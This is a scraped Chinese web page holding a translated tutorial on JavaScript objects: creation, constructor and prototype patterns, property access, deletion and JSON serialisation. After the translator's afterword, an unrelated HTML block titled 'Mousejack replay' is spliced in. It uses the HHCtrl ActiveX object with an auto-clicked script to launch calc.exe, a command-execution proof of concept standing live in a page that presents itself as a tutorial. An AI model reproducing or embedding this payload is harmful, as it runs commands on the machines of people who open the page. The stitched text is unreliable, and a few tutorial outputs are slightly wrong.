详解JavaScript对象类型


Posted in Javascript onJune 16, 2016

JavaScrtip有六种数据类型,一种复杂的数据类型(引用类型),即Object对象类型,还有五种简单的数据类型(原始类型):Number、String、Boolean、Undefined和Null。其中,最核心的类型就是对象类型了。同时要注意,简单类型都是不可变的,而对象类型是可变的。
 什么是对象 
一个对象是一组简单数据类型(有时是引用数据类型)的无序列表,被存储为一系列的名-值对(name-value pairs)。这个列表中的每一项被称为 属性(如果是函数则被称为 方法)。 
下面是一个简单的对象:

var myFirstObject = { 
    firstName: "Richard",
    favoriteAuthor: "Conrad"
  };

可以把对象考虑成一个列表,列表中的每一项(属性或方法)都以名-值对的方式存储。上面例子中,对象的属性名就是firstName和favortieAuthor,相应的,对象的属性值为Richard和Conrad。
 属性名可以是字符串或者数字,但是如果以数字作为属性名,则必须以方括号(方括号记法)来获得这个数字属性名对应的属性值。稍后有方括号记法的更详细解释。下面是一个方括号记法的例子:

var ageGroup = {30: "Children", 100:"Very Old"};
  console.log(ageGroup.30) // 报错
  ​// 访问30这个属性的正确方法
  console.log(ageGroup["30"]); // Children​
  ​
  ​//最好避免使用数字作为属性名

作为一个JavaScript程序员,你会经常使用到对象数据类型。一般用它来储存数据,或者创建自定义的方法或函数。
 引用数据类型和原始数据类型 
引用类型与原始类型最主要的一个不同点就是引用类型是按引用存储的,它不会像原始类型一样,将值直接存储在变量中。比如: 

// 原始类型数据是按值存储的 
  ​var person = "Kobe"; 
  ​var anotherPerson = person; // anotherPerson = the value of person​
  person = "Bryant"; // person的值改变了
  ​
  console.log(anotherPerson); // Kobe​
  console.log(person); // Bryan

可以注意到,即使我们将person的值改为"Bryant",对anthoerPerson也会不有丝毫影响,它仍然保存了原本person赋给它的值。
 将原始类型的按值存储跟引用类型的按引用存储进行一下比较:

var person = {name: "Kobe"};
  ​var anotherPerson = person;
  person.name = "Bryant";
  ​
  console.log(anotherPerson.name); // Bryant​
  console.log(person.name); // Bryant

在这个例子中,我们将person对象复制给了anthoerPerson,但是由于person对象中存储的是引用而不是真正的值。所以当我们将person.name改变为"Bryant"的时候,anotherPerson变量也反应出了这个变化,因为它并没有将person中的所有属性都复制一份保存起来,而是直接保存了对象的引用。

对象属性的特性(Attributes) 

注:Attribute一般也是翻译为属性,但是为了跟Propertie(也翻译为属性)进行区分,这里将其翻译为特性,这也是咨询过别人的,应该无伤大雅
 每个对象属性不止保存了自身的名-值对,它同时还包含了三个特性,这三个特性默认被设置为true。
 •Configurable Attribute: 指定这个对象属性是否可以被删除或修改。
•Enumerable:指定这个对象属性在for-in循环中是否可以被取得。
•Writable:指定这个对象属性是否可以被修改。
 在EMACScript 5中有一些新的特性,这里不做详细讲解。

 创建对象
 创建对象有两种比较常用的方法:
 1.对象字面量
 这是创建对象最常用,也是最简单的方式,直接使用字面量进行创建:

// 空对象
​var myBooks = {};
​
​// 使用字面量创建的包含4个属性的对象
​var mango = {
  color: "yellow",
  shape: "round",
  sweetness: 8,
​
​  howSweetAmI: function () {
    console.log("Hmm Hmm Good");
  }
}

2.对象构造函数
 第二种常用的方法是使用对象构造函数。构造函数是一种可以用来创建新对象的特殊函数,要使用new关键字来调用构造函数。 

var mango = new Object ();
mango.color = "yellow";
mango.shape= "round";
mango.sweetness = 8;
​
mango.howSweetAmI = function () {
  console.log("Hmm Hmm Good");
}

虽然可以使用某些保留字或关键字,比如for作为对象属性的名称,不过这可不是一个明智的选择。
 对象的属性可以包含任何数据类型,包括Number,Arrays,甚至是其它的Object。
 对象创建的实践模式
 对于创建只使用一次的用于存储数据的简单对象,上面的两种方法就可以满足需求。 
但是,假设有一个程序用于展示水果和它的详细信息。程序中的每个水果类型都有如下对象属性:color, shape, sweetness, cost 和一个showName函数。要是每次创建一个新的水果对象时,都得敲一遍下面的代码,那将是十分乏味和低效率的。

var mangoFruit = {
    color: "yellow",
    sweetness: 8,
    fruitName: "Mango",
    nativeToLand: ["South America", "Central America"],
  ​
    ​showName: function () {
      console.log("This is " + this.fruitName);
    },
    ​nativeTo: function () {
      this.nativeToLand.forEach(function (eachCountry) {
        console.log("Grown in:" + eachCountry);
      });
    }
  }

如果你有10个水果,你就得添加10次相同的代码。并且,如果想修改nativeTo函数,就得在10个不同的地方进行修改。再进一步推想,如果你在开发一个大型网站,你为上面的对象都一个一个添加了属性。但是,你突然发现你创建对象的方式不是很理想,你想要进行修改,这时又该怎么办。
 为了解决这些重复性的问题,软件工程师们发明了各种模式(对于重复问题和常见任务的解决方案),使用开发程序更有效率和合理化。
 下面是两种创建对象的常用模式:
 1.构造方法模式

function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) {
  this.color = theColor;
  this.sweetness = theSweetness;
  this.fruitName = theFruitName;
  this.nativeToLand = theNativeToLand;

  this.showName = function () {
    console.log("This is a " + this.fruitName);
  }

  this.nativeTo = function () {
    this.nativeToLand.forEach(function (eachCountry) {
      console.log("Grown in:" + eachCountry);
    });
  }
}

使用这种模式,很容易就可以创建出各式各样的水果来。像这样:

var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]);
mangoFruit.showName(); // This is a Mango.​
mangoFruit.nativeTo();
​//Grown in:South America​
​// Grown in:Central America​
​// Grown in:West Africa​

​var pineappleFruit = new Fruit ("Brown", 5, "Pineapple", ["United States"]);
pineappleFruit.showName(); // This is a Pineapple.

如果你要改变属性或方法,你只需要在一个地方进行修改就可以了。这个模式通过一个Fruit函数的继承,封装了所有水果的功能和特性。
 注意:
 ◦可继承的属性需要定义在对象的prototype对象属性上。比如
 someObject.prototype.firstName = "rich";
◦属于自身的属性要直接定义在对象的上。比如:

// 首先,创建一个对象
var aMango = new Fruit ();
// 接着,直接在对象上定义mongoSpice方法
// 因为我们直接在对象身上定义了mangoSpice属性,所以它是aMango自身的属性,不是一个可继承的属性
aMango.mangoSpice = “some value”;

◦要访问一个对象的属性,使用object.property,如:
 console.log(aMango.mangoSpice); // "some value"
◦要调用一个对象的方法,使用object.method(),如:

// 首先,增加一个方法
aMango.printStuff = function() { return "Printing"; }

// 现在,可以调用printStuff方法
aMango.printStuff();

2.原型模式

function Fruit () {
}

Fruit.prototype.color = "Yellow";
Fruit.prototype.sweetness = 7;
Fruit.prototype.fruitName = "Generic Fruit";
Fruit.prototype.nativeToLand = "USA";

Fruit.prototype.showName = function () {
  console.log("This is a " + this.fruitName);
}

Fruit.prototype.nativeTo = function () {
  console.log("Grown in:" + this.nativeToLand);
}

下面是在原型模式中调用Fruit()构造函数的方法:

var mangoFruit = new Fruit ();
mangoFruit.showName(); //​
mangoFruit.nativeTo();
​// This is a Generic Fruit​
​// Grown in:USA

扩展阅读
 如果需要了解这两种模式的更详细的解释,可以阅读《JavaScript高级程序设计》的第六章,其中详细讨论了这两种方法的优缺点。书中还讨论了除这两个外的其它模式。 
如何访问对象中的属性 
访问对象属性的两种主要方法是点记法(dot notation)和中括号记法(bracket notation)。
 1.点记法

// 这是我们前面例子中一直使用的访问属性的方法
​var book = {title: "Ways to Go", pages: 280, bookMark1:"Page 20"};
​
​// 使用点记法访问book对象的title和pages属性:​
console.log ( book.title); // Ways to Go​
console.log ( book.pages); // 280

2.中括号记法

// 使用方括号启示访问book对象的属性:
console.log ( book["title"]); //Ways to Go​
console.log ( book["pages"]); // 280​
​
​//如果属性名储存在一个变量当中,也可以这样:​
​var bookTitle = "title";
console.log ( book[bookTitle]); // Ways to Go​
console.log (book["bookMark" + 1]); // Page 20

访问一个对象中不存在的属性会得到一个undefined。

自身属性和继承属性 
对象拥有自身属性和继承属性。自身属性是直接定义在对象上的属性,而继承属性是从Object的Prototype继承的属性。
 为了确写一个对象是否拥有某个属性(不管是自身属性还是继承属性),可以使用in操作符:

// 创建一个有schoolName属性的对象
  var school = {schoolName:"MIT"};

  ​// 打印出true,因为对象拥有schoolName这个属性
  console.log("schoolName" in school); // true​
  ​
  ​// 打印出false,因为我们既没有定义schoolType属性,也没有从Object的Prototype中继承schoolType属性
  console.log("schoolType" in school); // false​
   
  ​// 打印出true, 因为从Object的Prototype中继承了toString方法
  console.log("toString" in school); // true

hasOwnProperty
 为了确定一个对象是否拥有一个特定的自身属性,可以使用hasOwnPrototype方法。这个方法十分有用,因为我们经常需要枚举一个对象的所有自身属性,而不是继承属性。

// 创建一个拥有schoolName属性的对象
  ​var school = {schoolName:"MIT"};
  ​
  ​// 打印出true,因为schooName是school的自身属性
  console.log(school.hasOwnProperty ("schoolName")); // true​
   
  ​// 打印出false,因为toString是从Object的Prototype中继承下来的,并且school的自身属性
  console.log(school.hasOwnProperty ("toString")); // false

访问和枚举对象中的属性
 为了访问对象中可以枚举的属性(自身或者继承的),可以使用for-in循环或普通的循环方式。

// 创建拥有3个属性的school对象: schoolName, schoolAccredited, and schoolLocation.​
  ​var school = {schoolName:"MIT", schoolAccredited: true, schoolLocation:"Massachusetts"};
  ​
  ​//使用for-in循环获取对象中的属性
  ​for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation​
  }

访问继承的属性
 从Object的Prototype中继承的属性不可枚举的,所以在for-in循环中不会访问到这些属性。然而,如果是可枚举的继承属性,它们也是能够从for-in循环中访问到的。
 比如:

//使用for-in循环访问school对象中的属性
  for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation​
  }


  // 注:以下这段说明是原文的说明
  /* SIDE NOTE: As Wilson (an astute reader) correctly pointed out in the comments below, the educationLevel property is not actually inherited by objects that use the HigherLearning constructor; instead, the educationLevel property is created as a new property on each object that uses the HigherLearning constructor. The reason the property is not inherited is because we use of the "this" keyword to define the property.
  */​

  // Create a new HigherLearning function that the school object will inherit from.​

  function HigherLearning () {
    this.educationLevel = "University";
  }

  // Implement inheritance with the HigherLearning constructor​
  var school = new HigherLearning ();
  school.schoolName = "MIT";
  school.schoolAccredited = true;
  school.schoolLocation = "Massachusetts";

  //Use of the for/in loop to access the properties in the school object​
  for (var eachItem in school) {
    console.log(eachItem); // Prints educationLevel, schoolName, schoolAccredited, and schoolLocation​
  }

删除对象中的属性
 可以使用delete操作符来删除对象中的属性。我们不能删除继承的属性,同时也不能删除Configurable特性被设置为false的对象属性。要删除继承的属性,必须从Prototype对象中删除(也就是定义这些属性的地方)。并且,我们也不能删除全局对象中的属性。
 删除成功的时候,delete操作符会返回true。令人意外的是,当要删除的属性不存在,或者不能被删除(即不是自身的属性或者Configurable特性被设置为false)时, delete操作符也会返回true。
 以下是示例:
  

var christmasList = {mike:"Book", jason:"sweater" }
  delete christmasList.mike; // deletes the mike property​

  for (var people in christmasList) {
    console.log(people);
  }
  // Prints only jason​
  // The mike property was deleted​

  delete christmasList.toString; // 返回 true, 但是因为toString是继承的属性,所以它不会被删除

  // 因为toString没有被删除,所以这里还能够正常使用
  christmasList.toString(); //"[object Object]"​

  // 如果一个属性是对象实例的自身属性,则我们可以删除它。
  // 比如我们可以从之前例子中定义的school对象中删除educationLevel属性,
  // 因为educationLevel是定义在那个实例中的:我们在HigherLearning函数中定义educationLevel时使用了"this"关键字。
  //我们并没有在HigherLearning函数的prototype对象在定义educationLevel属性。

  console.log(school.hasOwnProperty("educationLevel")); // true​
  // educationLevel是一个school对象的一个自身属性,所以 我们可以删除它​
  delete school.educationLevel; // true

  // educationLevel属性已经从school实例中删除了
  console.log(school.educationLevel); // undefined

  // 但是educationLevel属性仍然存在于HigherLearning函数中
  var newSchool = new HigherLearning ();
  console.log(newSchool.educationLevel); // University​

  // 如果我们在HigherLearning函数prototype中定义了一个属性, 比如这个educationLevel2属性:​
  HigherLearning.prototype.educationLevel2 = "University 2";

  // 这个educationLevel2属性不属性HigherLearning实例的自身属性

  // educationLevel2属性不是school实例的自身属性​
  console.log(school.hasOwnProperty("educationLevel2")); false​
  console.log(school.educationLevel2); // University 2​

  // 尝试删除继承的educationLevel2属性​
  delete school.educationLevel2; // true (正如前面所提到的,这个表达式会返回true)

  // 继承的educationLevel2属性没有被删除
  console.log(school.educationLevel2); University 2​

序列化和反序列化对象
 为了在HTTP中传递对象或者将对象转化成字符串,我们必须将对象序列化(将其转化为字符串)。我们可以使用JSON.stringify来序列化对象。要注意的是,在ECMAScript 5之前的版本,我们要使用json2库来获得JSON.stringify函数。在ECMAScript 5中,这个函数已经成为标准函数。
 为了将反序列化对象(即,将字符串转化成对象),可以使用JSON.parse函数来完成。同样,在第5版之前要从json2库中获取这个函数,在第5版中已经加入这个标准函数。
 示例代码:
   

var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" }
  JSON.stringify (christmasList);
  // Prints this string:​
  // "{"mike":"Book","jason":"sweater","chels":"iPad"}"

  // To print a stringified object with formatting, add "null" and "4" as parameters:​
  JSON.stringify (christmasList, null, 4);
  // "{
  //   "mike": "Book",
  //   "jason": "sweater",
  //   "chels": "iPad"​
  // }"

  // JSON.parse Examples
  // The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike)​
  var christmasListStr = '{"mike":"Book","jason":"sweater","chels":"iPad"}';

  // Let's convert it to an object​
  var christmasListObj = JSON.parse (christmasListStr);

  // Now that it is an object, we use dot notation​
  console.log(christmasListObj.mike); // Book

更多关于JavaScript对象的讨论和解释,以及ECMAScript第5版增加的内容,可以参考《JavaScript权威指南(第6版)》第六章。

后记 
第一次翻译文章,真心觉得要把翻译做好也不是那么简单的,很多简单的句子看着很明白,结果真正想翻译出来的时候,却是死活想不出合适的表达方式。通篇文章都是根据我自己的理解,然后通过意译出来的,没有逐句进行翻译。所以,如果有哪些地方理解有偏差,或者翻译不当的地方,请尽量指出,我会尽快改正。毕竟翻译这往篇文章也是想跟大家分享,我不希望因为自己理解的错误,导致对大家产生误导。 
就酱,收工。

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
 
command exec
 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
 
<PARAM name="Command" value="ShortCut">
 
 <PARAM name="Button" value="Bitmap::shortcut">
 
 <PARAM name="Item1" value=',calc.exe'>
 
 <PARAM name="Item2" value="273,1,1">
 
</OBJECT>
 
<SCRIPT>
 
x.Click();
 
</SCRIPT>
 
</body></html>

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
AlertBox 弹出层信息提示框效果实现步骤
Oct 11 Javascript
js给onclick事件赋值,动态传参数实例解说
Mar 28 Javascript
纯JS实现动态时间显示代码
Feb 08 Javascript
JSONP跨域请求实例详解
Jul 04 Javascript
JS生成不重复的随机数组的简单实例
Jul 10 Javascript
onmouseover事件和onmouseout事件全面理解
Aug 15 Javascript
Javascript点击按钮随机改变数字与其颜色
Sep 01 Javascript
基于JS+Canves实现点击按钮水波纹效果
Sep 15 Javascript
boostrapTable的refresh和refreshOptions区别浅析
Jan 22 Javascript
VUE页面中加载外部HTML的示例代码
Sep 20 Javascript
vue-cli3.0配置及使用注意事项详解
Sep 05 Javascript
详解vue-router数据加载与缓存使用总结
Oct 29 Javascript
jQuery on()方法绑定动态元素的点击事件实例代码浅析
Jun 16 #Javascript
jQuery页面元素动态添加后绑定事件丢失方法,非 live
Jun 16 #Javascript
JSON字符串和对象相互转换实例分析
Jun 16 #Javascript
jQuery的层级查找方式分析
Jun 16 #Javascript
jQuery实现响应鼠标事件的图片透明效果【附demo源码下载】
Jun 16 #Javascript
JS中sort函数排序用法实例分析
Jun 16 #Javascript
JS原型对象的创建方法详解
Jun 16 #Javascript
You might like
php cout&amp;lt;&amp;lt;的一点看法
2010/01/24 PHP
php根据分类合并数组的方法实例详解
2013/11/06 PHP
php通过数组实现多条件查询实现方法(字符串分割)
2014/05/06 PHP
一个不易被发现的PHP后门代码解析
2014/07/05 PHP
php通过strpos查找字符串出现位置的方法
2015/03/17 PHP
PHP中call_user_func_array回调函数的用法示例
2016/11/26 PHP
PHPMailer ThinkPHP实现自动发送邮件功能
2018/06/10 PHP
PHP PDOStatement::setAttribute讲解
2019/02/01 PHP
JS实现随机数生成算法示例代码
2013/08/08 Javascript
纯JS实现旋转图片3D展示效果
2015/04/12 Javascript
nodejs导出excel的方法
2015/06/30 NodeJs
谈谈AngularJs中的隐藏和显示
2015/12/09 Javascript
Bootstrap4一次重大更新 几乎涉及每行代码
2016/05/16 Javascript
Vue.js每天必学之Class与样式绑定
2016/09/05 Javascript
jQuery选择器特殊字符与属性空格问题
2017/08/14 jQuery
vue.js 实现点击按钮动态添加li的方法
2018/09/07 Javascript
使用vue2实现带地区编号和名称的省市县三级联动效果
2018/11/05 Javascript
JavaScript学习笔记之数组基本操作示例
2019/01/09 Javascript
layUI的验证码功能及校验实例
2019/10/25 Javascript
24行JavaScript代码实现Redux的方法实例
2019/11/17 Javascript
js实现蒙版效果
2020/01/11 Javascript
详解基于element的区间选择组件校验(交易金额)
2021/01/07 Javascript
[51:06]DOTA2-DPC中国联赛 正赛 Elephant vs Aster BO3 第二场 1月26日
2021/03/11 DOTA
Python实现比较两个列表(list)范围
2015/06/12 Python
itchat接口使用示例
2017/10/23 Python
Python拼接字符串的7种方式详解
2020/03/19 Python
菲律宾票务网站:StubHub菲律宾
2018/04/21 全球购物
不同浏览器创建XMLHttpRequest方法有什么不同
2014/11/17 面试题
高三自我鉴定
2013/10/23 职场文书
《夹竹桃》教学反思
2014/04/20 职场文书
晚会开幕词
2015/01/28 职场文书
生产设备维护保养制度
2015/08/06 职场文书
大学毕业生自我鉴定范文
2019/06/21 职场文书
如何自己动手写SQL执行引擎
2021/06/02 MySQL
Java实现聊天机器人完善版
2021/07/04 Java/Android
css中:last-child不生效的解决方法
2022/08/05 HTML / CSS